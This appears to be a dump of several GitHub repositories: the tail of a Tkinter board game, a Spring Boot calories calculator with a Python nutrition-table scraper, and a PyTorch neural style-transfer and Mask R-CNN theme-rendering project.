200\n v4 = v4 - 200\n for z in namep1:\n if [v1,v2,v3,v4] == can.coords(z):\n break\n else :\n result.append(\"ok\")\n if len(result) == 4:\n if v2 != -70.0 :\n print('HAUT')\n B = can.create_oval(v1, v2, v3, v4, outline=\"#f11\",fill=\"blue\", width=2,tags=\"H\",)\n can.tag_bind(\"H\",\"<Button-1>\",lambda x: move(\"H\"))\n\n\n\n\n \n\n\n \n\n \ncan.tag_bind(\"a1\",\"<Button-1>\",lambda x: selectpiona(\"a1\"))\ncan.tag_bind(\"a2\",\"<Button-1>\",lambda x: selectpiona(\"a2\"))\ncan.tag_bind(\"a3\",\"<Button-1>\",lambda x: selectpiona(\"a3\"))\ncan.tag_bind(\"a4\",\"<Button-1>\",lambda x: selectpiona(\"a4\"))\ncan.tag_bind(\"a5\",\"<Button-1>\",lambda x: selectpiona(\"a5\"))\n\n###### MOVE P2 #######\ndef selectpionb(x):\n global turn\n global choose\n if turn == 2:\n namep2 = [\"b1\",\"b2\",\"b3\",\"b4\",\"b5\"]\n namep2.remove(x)\n print(namep2)\n can.itemconfig(x, fill='yellow')\n for i in namep2:\n can.itemconfig(i, fill='#1f1')\n\n \ncan.tag_bind(\"b1\",\"<Button-1>\",lambda x: selectpiona(\"b1\"))\ncan.tag_bind(\"b2\",\"<Button-1>\",lambda x: selectpiona(\"b2\"))\ncan.tag_bind(\"b3\",\"<Button-1>\",lambda x: selectpiona(\"b3\"))\ncan.tag_bind(\"b4\",\"<Button-1>\",lambda x: selectpiona(\"b4\"))\ncan.tag_bind(\"b5\",\"<Button-1>\",lambda x: selectpiona(\"b5\"))\n\n\nfen.mainloop()\n\n\n" } ]
2
WojcikKrystian/caloriesCalculator
https://github.com/WojcikKrystian/caloriesCalculator
79b7ebf80aa368e7ae5d787bff28ef1e12e18f6d
7773732fe18790080afb9c218de731d676370a53
83243e0e394db3de5041ee8c3250173d741b88a8
refs/heads/main
2023-02-19T22:41:52.056869
2021-01-07T22:41:48
2021-01-07T22:41:48
313,396,675
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5836669206619263, "alphanum_fraction": 0.596477210521698, "avg_line_length": 29.463415145874023, "blob_id": "fd8bc34676bc9b1e6673648ffbccd9544a54fb21", "content_id": "d3814824091e01a27e4cfe8efd31a1376dfa815a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1249, "license_type": "no_license", "max_line_length": 185, "num_lines": 41, "path": "/Linux_skrypt/dataScrap.py", "repo_name": "WojcikKrystian/caloriesCalculator", "src_encoding": "UTF-8", "text": "import requests, csv, re\nfrom decimal import Decimal\nfrom bs4 import BeautifulSoup, NavigableString, Tag\n\nurl = \"http://oblicz-bmi.pl/tabela-kalorii.html\"\n\nreq = requests.get(url)\nreq.encoding = \"utf-8\"\n\nsoup = BeautifulSoup(req.text, \"html.parser\")\n\ntables = soup(\"table\")\n\noutput_rows = []\n\nfor table in tables:\n for row in table:\n if isinstance(row, NavigableString):\n continue\n if isinstance(row, Tag):\n columns = row.findAll('td')\n output_row = []\n for column in columns:\n output_row.append(column.text)\n output_rows.append(output_row)\n\nfor row in output_rows[1:]:\n\n name = row[0].strip() \n# kcal = Decimal(row[1].strip().replace(',','.')) #decimal\n# proteins = Decimal(row[2].strip().replace(',','.')) \n# fat = Decimal(row[3].strip().replace(',','.')) \n# carbs = Decimal(row[4].strip().replace(',','.'))\n\n kcal = str(row[1].strip().replace(',','.'))\n proteins = str(row[2].strip().replace(',','.'))\n fat = str(row[3].strip().replace(',','.'))\n carbs = str(row[4].strip().replace(',','.'))\n amount = str(100.0)\n \n print (\"INSERT INTO ingredient(name, kcal, proteins, fat, carbs, amount) VALUES (\" + '\\'' + name + '\\'' + \",\" + kcal + \",\" + proteins + \",\" + fat + \",\" + carbs + \",\" + amount + \");\")\n" }, { "alpha_fraction": 0.824999988079071, "alphanum_fraction": 0.824999988079071, "avg_line_length": 23.615385055541992, "blob_id": "a42d51bbf914e7aed5f50ee489f5bf6ffcd87774", "content_id": "c07b0e576285ada2b7c1f0ae67dd861b700694e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 320, "license_type": "no_license", "max_line_length": 68, "num_lines": 13, "path": "/src/main/java/com/kik/kalkulatorKalorii/CaloriesCalculator.java", "repo_name": "WojcikKrystian/caloriesCalculator", "src_encoding": "UTF-8", "text": "package com.kik.kalkulatorKalorii;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class CaloriesCalculator {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(CaloriesCalculator.class, args);\n\t}\n\n}\n" }, { "alpha_fraction": 0.6316954493522644, "alphanum_fraction": 0.6434262990951538, "avg_line_length": 37.94827651977539, "blob_id": "39a2a9e3cf4db69c105223a8e813f5ad72399925", "content_id": "93653f33f5557fd79b84006a2a6a29749542823b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 4518, "license_type": "no_license", "max_line_length": 125, "num_lines": 116, "path": "/src/main/java/com/kik/kalkulatorKalorii/services/CaloriesCalculatorService.java", "repo_name": "WojcikKrystian/caloriesCalculator", "src_encoding": "UTF-8", "text": "package com.kik.kalkulatorKalorii.services;\n\nimport com.kik.kalkulatorKalorii.models.Dish;\nimport com.kik.kalkulatorKalorii.models.Ingredient;\nimport com.kik.kalkulatorKalorii.repositories.DishRepository;\nimport com.kik.kalkulatorKalorii.repositories.IngredientRepository;\nimport org.springframework.stereotype.Service;\n\nimport java.util.*;\n\n@Service\npublic class CaloriesCalculatorService {\n private IngredientRepository ingredientRepository;\n private DishRepository dishRepository;\n\n public CaloriesCalculatorService(IngredientRepository ingredientRepository, DishRepository dishRepository) {\n this.ingredientRepository = ingredientRepository;\n this.dishRepository = dishRepository;\n }\n\n public Set<Ingredient> getAllGeneralIngredients() {\n return ingredientRepository.findAllGeneralIngredients();\n }\n\n public Set<Dish> getAllDishes() {\n Set<Dish> allDishes = new HashSet<>();\n dishRepository.findAll().forEach(allDishes::add);\n return allDishes;\n }\n\n public List<Ingredient> getGeneralIngredientByName(String name) {\n return ingredientRepository.findGeneralIngredientByName(name);\n }\n\n public void saveIngredient(Ingredient ingredient) {\n ingredientRepository.save(ingredient);\n }\n\n public Long saveDish(Dish dish) {\n Dish savedDish = dishRepository.save(dish);\n return savedDish.getId();\n }\n\n public void deleteIngredient(Long id) {\n ingredientRepository.deleteById(id);\n }\n\n public void deleteDish(Long id) {\n dishRepository.deleteById(id);\n }\n\n public Optional<Ingredient> getIngredientById(Long id) {\n return ingredientRepository.findById(id);\n }\n\n public Optional<Dish> getDishById(Long id) {\n return dishRepository.findById(id);\n }\n\n public void updateIngredient(Long id, Ingredient updatedIngredient) {\n Optional<Ingredient> ingredient = ingredientRepository.findById(id);\n if (ingredient.isPresent()) {\n ingredient.get().setName(updatedIngredient.getName());\n ingredient.get().setCarbs(updatedIngredient.getCarbs());\n ingredient.get().setFat(updatedIngredient.getFat());\n ingredient.get().setProteins(updatedIngredient.getProteins());\n ingredient.get().setKcal(updatedIngredient.getKcal());\n ingredientRepository.save(ingredient.get());\n }\n }\n\n public void updateDish(Long id, Dish updatedDish) {\n Optional<Dish> dishOptional = dishRepository.findById(id);\n dishOptional.ifPresent(dish -> {\n double proteinsTotal = 0.0;\n double carbsTotal = 0.0;\n double fatTotal = 0.0;\n double calTotal = 0.0;\n List<Ingredient> ingredients = new ArrayList<>();\n ingredientRepository.deleteIngredientByDish(dish);\n\n for (Ingredient ingredient : updatedDish.getIngredients()) {\n if(ingredient.getName() == null) {\n // skip processing and continue with next\n continue;\n }\n\n List<Ingredient> generalIngredients = ingredientRepository.findGeneralIngredientByName(ingredient.getName());\n Ingredient generalIngredient = generalIngredients.get(0);\n if (generalIngredient.getProteins() != null) {\n proteinsTotal += generalIngredient.getProteins() * ingredient.getAmount() / 100;\n }\n if (generalIngredient.getCarbs() != null) {\n carbsTotal += generalIngredient.getCarbs() * ingredient.getAmount() / 100;\n }\n if (generalIngredient.getFat() != null) {\n fatTotal += generalIngredient.getFat() * ingredient.getAmount() / 100;\n }\n if (generalIngredient.getKcal() != null) {\n calTotal += generalIngredient.getKcal() * ingredient.getAmount() / 100;\n }\n ingredient.setDish(dish);\n ingredients.add(ingredient);\n }\n\n dish.setName(updatedDish.getName());\n dish.setProteinsTotal(Math.round(proteinsTotal * 100.0) / 100.0);\n dish.setCalTotal(Math.round(calTotal * 100.0) / 100.0);\n dish.setCarbsTotal(Math.round(carbsTotal * 100.0) / 100.0);\n dish.setFatTotal(Math.round(fatTotal * 100.0) / 100.0);\n dish.setIngredients(ingredients);\n\n dishRepository.save(dish);\n });\n }\n}\n" }, { "alpha_fraction": 0.8414096832275391, "alphanum_fraction": 0.8414096832275391, "avg_line_length": 27.375, "blob_id": "d9b8d244f59c27b198b672849b9c3f5eddb5f9c5", "content_id": "0b38de03fe8008ce5a65a44956a4d313a5acf79f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 227, "license_type": "no_license", "max_line_length": 68, "num_lines": 8, "path": "/src/main/java/com/kik/kalkulatorKalorii/repositories/DishRepository.java", "repo_name": "WojcikKrystian/caloriesCalculator", "src_encoding": "UTF-8", "text": "package com.kik.kalkulatorKalorii.repositories;\n\nimport com.kik.kalkulatorKalorii.models.Dish;\nimport org.springframework.data.repository.CrudRepository;\n\npublic interface DishRepository extends CrudRepository<Dish, Long> {\n\n}\n" }, { "alpha_fraction": 0.7779204249382019, "alphanum_fraction": 0.7779204249382019, "avg_line_length": 20.63888931274414, "blob_id": "ae1e0249fd7cd7c94d3c95c09b0737d010fb9fad", "content_id": "f49e51f70d540ec4a25207e34617677c1a29a694", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 779, "license_type": "no_license", "max_line_length": 55, "num_lines": 36, "path": "/src/main/java/com/kik/kalkulatorKalorii/models/Ingredient.java", "repo_name": "WojcikKrystian/caloriesCalculator", "src_encoding": "UTF-8", "text": "package com.kik.kalkulatorKalorii.models;\n\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport lombok.NoArgsConstructor;\n\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.ManyToOne;\n\n@Entity\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n@EqualsAndHashCode(exclude = {\"dish\"})\npublic class Ingredient {\n\n @Id\n @GeneratedValue(strategy = GenerationType.IDENTITY)\n private Long id;\n private String name;\n private Double proteins;\n private Double carbs;\n private Double fat;\n private Double kcal;\n private Double amount;\n\n @ManyToOne\n private Dish dish;\n}\n" } ]
5
Richard456/theme_rendering
https://github.com/Richard456/theme_rendering
c100b20b9c04bc9e577bc03acf74af62641830fa
c1f15ac913daf7e03f2ea8c5e1d688f46f1bebdb
8ccaa3aec779c603e6a5b3d6119c94d66c0487a0
refs/heads/master
2023-01-23T07:12:15.045544
2020-12-08T14:01:05
2020-12-08T14:01:05
319,314,391
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5861576795578003, "alphanum_fraction": 0.6018551588058472, "avg_line_length": 35.09012985229492, "blob_id": "252a973d03fb71eb1de292726dd3bae255716a95", "content_id": "21a59a3e53c616f183fdd9c005b0851f308a9ada", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8409, "license_type": "permissive", "max_line_length": 179, "num_lines": 233, "path": "/nn_styles.py", "repo_name": "Richard456/theme_rendering", "src_encoding": "UTF-8", "text": "import argparse\nimport os\nimport sys\nimport time\n\nimport numpy as np\nimport random\nimport torch\nfrom torch.optim import Adam\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom torchvision import transforms\n#import utils\nfrom Pastiche import PasticheModel\nfrom vgg_styles import vgg11\nfrom PIL import Image\n\nmanual_seed = 8888\ntrain_size = (480,640)\neval_size = (810,1080)\ncontent_dataset_path = \"coco-2017\"\nstyle_dataset_path = \"filter_images\"\nlog_interval = 50\nsubset_size = 5000\n\nMean = [0.5, 0.5, 0.5]\nStd = [0.2, 0.2, 0.2]\n\ndef batch_norm(batch):\n mean = batch.new_tensor(Mean).view(-1, 1, 1)\n std = batch.new_tensor(Std).view(-1, 1, 1)\n batch = batch.div_(255.0)\n return (batch - mean) / std\n\ndef train(args, device):\n # original degree (degree=1)\n L_c = 10**5 # content loss weight\n L_s = 10**8.5 # style loss weight\n\n random.seed(manual_seed)\n torch.manual_seed(manual_seed)\n\n content_transform = transforms.Compose([\n transforms.Resize(train_size),\n #transforms.CenterCrop(train_size),\n transforms.ToTensor(),\n transforms.Lambda(lambda x: x.mul(255))\n ])\n\n content_dataset = datasets.ImageFolder(content_dataset_path, content_transform)\n index_list = list(range(len(content_dataset)))\n subset_list = random.sample(index_list, subset_size)\n content_dataset = torch.utils.data.Subset(content_dataset, subset_list)\n #print(len(content_dataset))\n style_dataset = [img for img in os.listdir(style_dataset_path)]\n # sort on filter index\n style_dataset = sorted(style_dataset, key=lambda i: i[-5])\n #print(style_dataset)\n\n train_loader = DataLoader(content_dataset, batch_size=args.batch_size, shuffle=True)\n num_styles = len(style_dataset)\n\n PM = PasticheModel(num_styles).to(device)\n optimizer = Adam(PM.parameters(), args.lr)\n mse_loss = torch.nn.MSELoss()\n\n vgg = vgg11().to(device)\n style_transform = transforms.Compose([\n transforms.Resize(train_size),\n transforms.ToTensor(),\n transforms.Lambda(lambda x: x.mul(255))\n ])\n\n style_batch = []\n\n for i in range(num_styles):\n style = Image.open(style_dataset_path + '/' + style_dataset[i])\n style = style_transform(style)\n style_batch.append(style)\n\n styles = torch.stack(style_batch).to(device)\n\n style_features = vgg(batch_norm(styles))\n style_gram = [gram_matrix(i) for i in style_features]\n # degree of the filtering we want to apply\n degree = args.filtering_level\n\n if degree <=0:\n L_s = 1\n else:\n L_s = L_s * 10 ** min(degree-1, 5)\n\n for epoch in range(args.epochs):\n PM.train()\n count = 0\n\n for batch_idx, (x, _) in enumerate(train_loader):\n\n if len(x) < args.batch_size:\n break\n\n count += len(x)\n optimizer.zero_grad()\n\n #style_ids = [i % num_styles for i in range(count - len(x), count)]\n style_ids = []\n for i in range(len(x)):\n id = random.randint(0, num_styles-1)\n style_ids.append(id)\n\n stylized = PM(x.to(device), style_ids=style_ids)\n\n stylized = batch_norm(stylized)\n contents = batch_norm(x)\n\n features_stylized = vgg(stylized.to(device))\n features_contents = vgg(contents.to(device))\n\n # use the last block to last block to compute high-level content loss\n # content_loss = mse_loss(features_stylized[-1], features_contents[-1])\n # use second to last block to compute high-level content loss\n content_loss = mse_loss(features_stylized[-1], features_contents[-1])\n content_loss = L_c * content_loss\n\n style_loss = 0\n\n for ft_y, s_gram in zip(features_stylized, style_gram):\n y_gram = gram_matrix(ft_y)\n style_loss += mse_loss(y_gram, s_gram[style_ids, :, :])\n style_loss = L_s * style_loss\n\n total_loss = content_loss + style_loss\n total_loss.backward()\n optimizer.step()\n\n if batch_idx % log_interval == 0:\n print(\"Epoch {}:\\t[{}/{}]\\tcontent loss: {:.4f}\\tstyle loss: {:.4f}\\ttotal loss: {:.4f}\".format(\n epoch + 1, batch_idx, len(train_loader),\n content_loss / (batch_idx + 1),\n style_loss / (batch_idx + 1),\n (content_loss + style_loss) / (batch_idx + 1)\n ))\n\n # save model\n saved_as = '{0}/{1}_filter_level_{2}_epoch{3}.pth'.format(args.save, str(time.ctime()).replace(' ', '_'), args.filtering_level, args.epochs)\n torch.save(PM, saved_as)\n print(\"\\n Model successfully saved as {} \".format(saved_as))\n\n return PM\n\n\ndef gen_styles(args, device, model):\n content_image = Image.open(os.path.join(\"images/content_images\", args.content_image))\n content_transform = transforms.Compose([\n transforms.Resize(eval_size),\n transforms.ToTensor(),\n transforms.Lambda(lambda x: x.mul(255))\n ])\n content_image = content_transform(content_image)\n content_images = content_image.expand(len(args.style_id),-1,-1,-1).to(device)\n #print(content_images.shape)\n #content_image = content_image.unsqueeze(0).to(device)\n #print(content_image.shape)\n\n with torch.no_grad():\n if args.load_model is None or args.load_model == \"None\" :\n style_model = model\n else:\n style_model = torch.load(args.load_model)\n style_model.eval()\n style_model.to(device)\n output = style_model(content_images, args.style_id).cpu()\n\n #output = output.squeeze(0)\n for i in range(len(output)):\n save_image(args.output_image + '/' + args.content_image.replace('.jpg', '_') +'filter' + str(args.style_id[i]+1) + '_level'+ str(args.filtering_level) + '.jpg', output[i])\n\n\ndef save_image(filename, image_data):\n img = image_data.clone().clamp(0, 255).numpy()\n img = img.transpose(1, 2, 0).astype(\"uint8\")\n img = Image.fromarray(img)\n img.save(filename)\n\n\ndef gram_matrix(x):\n (b, d, h, w) = x.size()\n features = x.view(b, d, w * h)\n gram = features.bmm(features.transpose(1, 2)) / (d * h * w)\n return gram\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n # model config\n parser.add_argument(\"--epochs\", type=int, default=2,\n help=\"number of training epochs\")\n parser.add_argument(\"--batch-size\", type=int, default=3,\n help=\"batch size for training\")\n parser.add_argument(\"--gpu\", type=int, default=3,\n help=\"GPU id. -1 for CPU\")\n parser.add_argument(\"--lr\", type=float, default=3e-4,\n help=\"learning rate\")\n parser.add_argument(\"--save\", type=str, default=\"saved_models/style_models\",\n help=\"path to folder where trained models will be saved.\")\n parser.add_argument(\"--output-image\", type=str, default=\"images/output_stylized_images\",\n help=\"path for saving the output image\")\n parser.add_argument(\"--content-image\", type=str, default=\"hoofer.jpg\",\n help=\"name of content image you want to gen_styles\")\n parser.add_argument(\"--load-model\", type=str, default=None,\n help=\"saved model to be used for stylizing the image if applicable\")\n parser.add_argument(\"--filtering-level\", type=float, default=1.0,\n help=\"A positive integer for degree of filtering.0 for no filter.\")\n parser.add_argument(\"--style-id\", type=list, default=[0,1,2,3,4,5,6,7,8],\n help=\"style number id corresponding to the order in training\")\n\n args = parser.parse_args()\n\n if args.gpu > -1 and torch.cuda.is_available():\n device = torch.device(\"cuda:{}\".format(args.gpu))\n print(\"Start running on GPU{}\".format(args.gpu))\n torch.cuda.empty_cache()\n else:\n device = torch.device(\"cpu\")\n print(\"Running on CPU only.\")\n\n if args.load_model is None or args.load_model == 'None':\n print(\"Start training from scratch\")\n model = train(args, device)\n model.eval()\n gen_styles(args, device, model)\n else:\n print(\"Loading pretrained model from {}\".format(args.load_model))\n gen_styles(args, device, None)\n" }, { "alpha_fraction": 0.5664724111557007, "alphanum_fraction": 0.5895087718963623, "avg_line_length": 31.672727584838867, "blob_id": "563a6363254968323168a81b16001c9edc64a85b", "content_id": "5d2485e185566e4c6286a824cf657cfb564c682c", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3603, "license_type": "permissive", "max_line_length": 124, "num_lines": 110, "path": "/utils.py", "repo_name": "Richard456/theme_rendering", "src_encoding": "UTF-8", "text": "# import necessary libraries\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport torch\nfrom torchvision import transforms\nimport torchvision\nimport torch\nimport numpy as np\nimport cv2\nimport random\nimport sys\nimport time\nimport os\n\ndevice = torch.device('cuda:0') if torch.cuda.is_available() else torch.device('cpu')\n\nmodel = torchvision.models.detection.maskrcnn_resnet50_fpn(pretrained=True).to(device)\nmodel.eval()\n\ndef render_themes(filtered_imgs, filter_id, masks):\n masks = np.stack((masks,)*3, axis=-1)\n\n render_list = []\n for i in range(len(filtered_imgs)):\n mask = masks[i]\n filter = filtered_imgs[i][0:mask.shape[0],:,:]\n template = np.multiply(mask, filter)\n template = template.astype(np.uint8)\n render_list.append(template)\n return render_list\n\n\ndef color_masks(image):\n r = np.zeros_like(image).astype(np.uint8)\n g = np.zeros_like(image).astype(np.uint8)\n b = np.zeros_like(image).astype(np.uint8)\n r[image == 1], g[image == 1], b[image == 1] = [0, 255, 0]\n coloured_mask = np.stack([r, g, b], axis=2)\n return coloured_mask\n\n\ndef get_masks(img, threshold):\n transform = transforms.Compose([transforms.ToTensor()])\n img = transform(img).to(device)\n pred = model([img])\n\n pred_score = list(pred[0]['scores'].detach().cpu().numpy())\n pred_t = [pred_score.index(x) for x in pred_score if x>threshold][-1]\n\n masks = (pred[0]['masks']>0.5).squeeze().detach().cpu().numpy()\n masks = masks[:pred_t+1]\n frame = np.zeros((masks.shape[1], masks.shape[2]))\n for mask in masks:\n frame[mask==1] = 1\n bg = 1 - frame\n bg = np.array([bg])\n masks = np.append(masks, bg, axis=0)\n return masks\n\ndef select_filters(masks, img, num_filters):\n img = cv2.cvtColor(np.asarray(img), cv2.COLOR_BGR2RGB)\n filter_ids = []\n \"\"\"\n for i in range(len(masks)):\n rgb_mask = color_masks(masks[i])\n temp_img = cv2.addWeighted(img, 1, rgb_mask, 0.5, 0)\n plt.figure(figsize=(10,18))\n plt.imshow(temp_img)\n plt.show()\n # in case img show delayed\n time.sleep(2)\n # prompt filter selection\n while True:\n if i < len(masks) -1:\n num = input(\"Please enter a filter id (0 to {0}) for person/obj {1} (-1 to quit):\".format(num_filters-1, i))\n else:\n num = input(\"Please enter a filter id (0 to {0}) for the background (-1 to quit):\".format(num_filters-1))\n try:\n id = int(num)\n if num_filters - 1 >= id >=0:\n print(\"filter {0} selected\".format(id, i))\n filter_ids.append(id)\n break;\n elif id == -1:\n print(\"Program terminated.\")\n sys.exit(0)\n else:\n print(\"Error. filter id is not valid.\")\n except ValueError:\n print(\"Error. filter id should be an integer.\")\n print(\"filter selection completed.\")\n \"\"\"\n #a_list = [0,0,0,0,0]\n return [4,4,4,4,4]\n #return filter_ids\n\ndef draw(rendered_themes, img_name, output_path):\n print(rendered_themes[0].shape)\n canvas = np.zeros_like(rendered_themes[0]).astype(np.uint8)\n\n for obj in rendered_themes:\n canvas = cv2.add(canvas, obj)\n \n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n cv2.imwrite(os.path.join(output_path, \"filtered_{}\".format(img_name)), cv2.cvtColor(canvas, cv2.COLOR_RGB2BGR))\n plt.figure(figsize=(10,18))\n plt.imshow(canvas)\n plt.show()\n\n " }, { "alpha_fraction": 0.48759791254997253, "alphanum_fraction": 0.5303524732589722, "avg_line_length": 28.74757194519043, "blob_id": "f25e4e05d2690c7afd5ea14b9e2f042ae147f368", "content_id": "b243252cb7c883a8e0d1116df672052ed7680c89", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3064, "license_type": "permissive", "max_line_length": 101, "num_lines": 103, "path": "/Pastiche.py", "repo_name": "Richard456/theme_rendering", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\n\n\nclass PasticheModel(torch.nn.Module):\n def __init__(self, num_styles):\n super(PasticheModel, self).__init__()\n\n self.conv_layer1 = nn.Sequential(\n nn.ReflectionPad2d(4),\n nn.Conv2d(3, 32, (9, 9))\n )\n self.conv_layer2 = nn.Sequential(\n nn.ReflectionPad2d(1),\n nn.Conv2d(32, 64, (3, 3), stride=2)\n )\n self.conv_layer3 = nn.Sequential(\n nn.ReflectionPad2d(1),\n nn.Conv2d(64, 128, (3, 3), stride=2)\n )\n\n self.conv_layer4 = nn.Sequential(\n nn.Upsample(scale_factor=2),\n nn.ReflectionPad2d(1),\n nn.Conv2d(128, 64, (3, 3))\n )\n\n self.conv_layer5 = nn.Sequential(\n nn.Upsample(scale_factor=2),\n nn.ReflectionPad2d(1),\n nn.Conv2d(64, 32, (3, 3))\n )\n self.conv_layer6 = nn.Sequential(\n nn.ReflectionPad2d(4),\n nn.Conv2d(32, 3, (9, 9))\n )\n\n\n self.In1 = Cond_InN(num_styles, 32)\n self.In2 = Cond_InN(num_styles, 64)\n self.In3 = Cond_InN(num_styles, 128)\n self.In4 = Cond_InN(num_styles, 64)\n self.In5 = Cond_InN(num_styles, 32)\n\n self.residual_block = nn.Sequential(\n nn.ReflectionPad2d(1),\n nn.Conv2d(128, 128, (3, 3)),\n nn.InstanceNorm2d(128, affine=True),\n nn.ReLU(),\n nn.ReflectionPad2d(1),\n nn.Conv2d(128, 128, (3, 3)),\n nn.InstanceNorm2d(128, affine=True)\n )\n\n def forward(self, x, style_ids):\n y = self.conv_layer1(x)\n y = self.In1(y, style_ids)\n\n y = self.conv_layer2(y)\n y = self.In2(y, style_ids)\n\n y = self.conv_layer3(y)\n y = self.In3(y, style_ids)\n\n y = y + self.residual_block(y)\n y = y + self.residual_block(y)\n y = y + self.residual_block(y)\n y = y + self.residual_block(y)\n\n y = self.conv_layer4(y)\n y = self.In4(y, style_ids)\n\n y = self.conv_layer5(y)\n y = self.In5(y, style_ids)\n\n y = self.conv_layer6(y)\n\n return y\n\nclass Cond_InN(nn.Module):\n def __init__(self, num_styles, output_filters):\n super(Cond_InN, self).__init__()\n\n self.relu = nn.ReLU()\n self.InN = nn.InstanceNorm2d(output_filters, affine=True)\n # initialize gamma matrix with 1s\n self.gamma = torch.nn.Parameter(data=torch.Tensor(num_styles, output_filters))\n self.gamma.data.uniform_(1, 1)\n # initialize beta matrix with random numbers from 0-1\n self.beta = torch.nn.Parameter(data=torch.Tensor(num_styles, output_filters))\n self.beta.data.uniform_(0, 1)\n\n def forward(self, x, style_ids):\n y = self.InN(x)\n b, d, w, h = y.size()\n y = y.view(b, d, w * h)\n\n gamma = self.gamma[style_ids]\n beta = self.beta[style_ids]\n y = (y * gamma.unsqueeze(-1).expand_as(y) + beta.unsqueeze(-1).expand_as(y)).view(b, d, w, h)\n y = self.relu(y)\n\n return y\n" }, { "alpha_fraction": 0.5242718458175659, "alphanum_fraction": 0.600862979888916, "avg_line_length": 35.11688232421875, "blob_id": "e6a47854c8a6f98ef6d2ea20fba23fe7c854643f", "content_id": "6dd73ce8af17f993adbd1455d889be79336186ce", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2781, "license_type": "permissive", "max_line_length": 82, "num_lines": 77, "path": "/vgg_styles.py", "repo_name": "Richard456/theme_rendering", "src_encoding": "UTF-8", "text": "import torch\nfrom torchvision import models\n\n\"\"\"\nvgg11 features:\n\nSequential(\n (0): Conv2d(3, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (1): ReLU(inplace=True)\n (2): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)\n\n (3): Conv2d(64, 128, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (4): ReLU(inplace=True)\n (5): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)\n\n (6): Conv2d(128, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (7): ReLU(inplace=True)\n (8): Conv2d(256, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (9): ReLU(inplace=True)\n (10): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)\n\n (11): Conv2d(256, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (12): ReLU(inplace=True)\n (13): Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (14): ReLU(inplace=True)\n (15): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)\n\n (16): Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (17): ReLU(inplace=True)\n (18): Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (19): ReLU(inplace=True)\n (20): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)\n)\n\"\"\"\n\n\nclass vgg11(torch.nn.Module):\n def __init__(self):\n super(vgg11, self).__init__()\n vgg_pretrained_features = models.vgg11(pretrained=True).features\n\n self.block1 = torch.nn.Sequential()\n self.block2 = torch.nn.Sequential()\n self.block3 = torch.nn.Sequential()\n self.block4 = torch.nn.Sequential()\n self.block5 = torch.nn.Sequential()\n\n for i in range(0, 2):\n self.block1.add_module(str(i), vgg_pretrained_features[i])\n for i in range(2, 5):\n self.block2.add_module(str(i), vgg_pretrained_features[i])\n for i in range(5, 10):\n self.block3.add_module(str(i), vgg_pretrained_features[i])\n for i in range(10, 15):\n self.block4.add_module(str(i), vgg_pretrained_features[i])\n for i in range(15, 20):\n self.block5.add_module(str(i), vgg_pretrained_features[i])\n\n for param in self.parameters():\n param.requires_grad = False\n\n def forward(self, X):\n # individual out1 to out5 for style features (low levels to high levels)\n out1 = self.block1(X)\n out2 = self.block2(out1)\n out3 = self.block3(out2)\n out4 = self.block4(out3)\n out5 = self.block5(out4)\n\n out = [out1, out2, out3, out4, out5]\n # level of details of filters can be changed\n # through block selection\n out = out\n #out = out[1:]\n # out = out[2:]\n\n return out\n" }, { "alpha_fraction": 0.7241379022598267, "alphanum_fraction": 0.7655172348022461, "avg_line_length": 40.42856979370117, "blob_id": "ca45a547ba9d3c7bdd3ce19bcd64cb6c435d6a22", "content_id": "035edca6d589957a7fb0d426657088104f743cdc", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 290, "license_type": "permissive", "max_line_length": 41, "num_lines": 7, "path": "/train.sh", "repo_name": "Richard456/theme_rendering", "src_encoding": "UTF-8", "text": "python nn_styles.py --filtering-level=1.6\npython nn_styles.py --filtering-level=2\npython nn_styles.py --filtering-level=2.2\npython nn_styles.py --filtering-level=2.4\npython nn_styles.py --filtering-level=2.6\npython nn_styles.py --filtering-level=2.8\npython nn_styles.py --filtering-level=3\n" } ]
5
lostmidas/python-games
